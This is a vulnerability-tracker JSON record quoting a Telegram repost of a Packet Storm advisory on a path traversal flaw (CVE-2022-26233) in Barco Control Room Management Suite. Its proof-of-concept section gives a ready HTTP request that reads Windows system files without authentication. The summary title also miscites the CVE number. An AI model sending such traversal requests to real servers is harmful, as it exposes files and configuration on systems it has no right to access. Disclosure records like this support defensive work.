{"uuid": "f15e2bef-f403-4e1a-9589-d096028f9bd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-26233", "type": "seen", "source": "https://t.me/hacking_Attack/48706", "content": "Exploit Collector\nBarco Control Room Management Suite Directory Traversal\n\nhttps://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png \nBarco Control Room Management Suite versions prior to 2.9 build 0275 suffer from a directory traversal vulnerability.\n\nMD5 | 88e03b446ae044429f677923af2adc57\n\nDownload\n*I. SUMMARY*\nTitle: [CVE-2022-2623] Barco Control Room Management Suite File Path\nTraversal Vulnerability\nProduct: Barco Control Room Management Suite before 2.9 build 0275 and all\nprior versions\nVulnerability Type: File Path Traversal\nCredit by/Researcher: Murat Aydemir from Accenture Cyber Security Team\n(Prague CFC)\nContact: https://twitter.com/mrtydmr75\nGithub: https://github.com/murataydemir\n\n*II. CVE REFERENCE, CVSS SCORES & VULNERABILITY TYPES*\nCVE Number: CVE-2022-26233\nCVSSv3: Base score: 7.5 Impact 3.6 Exploitability: 3.9\nCVSSv3 Vector: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\nVulnerability Type: File Path Traversal\nCWE ID: CWE-22 Improper Limitation of a Pathname to a Restricted Directory\n('Path Traversal')\n\n*III. PROOF OF CONCEPT (POC) FOR CVE-2022-26233*\nDue to lack of input sanitizing inputs which come from url, an application\nis vulnerable to file path traversal vulnerability. A succesfully\nexploitation of this vulnerability could lead to access/read files and\ndirectories stored on file system including application source code or\nconfiguration and critical system files. No authentication is required to\nexploit this vulnerability. An attacker who is not logged into the\napplication can easily exploit this vulnerability.\n\nGET /..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\System32\\drivers\\etc\\hosts\nHTTP/1.1\nHost: vulnerablehost\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0)\nGecko/20100101 Firefox/81.0\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nConnection: close\n\n[image: file-path-traversal.PNG]\n\n*IV. REFERENCE(S)*\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26233\nhttps://nvd.nist.gov/vuln/detail/CVE-2022-26233\nhttps://www.barco.com/en/support/knowledge-base/kb115*XX*\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:48.130396Z"}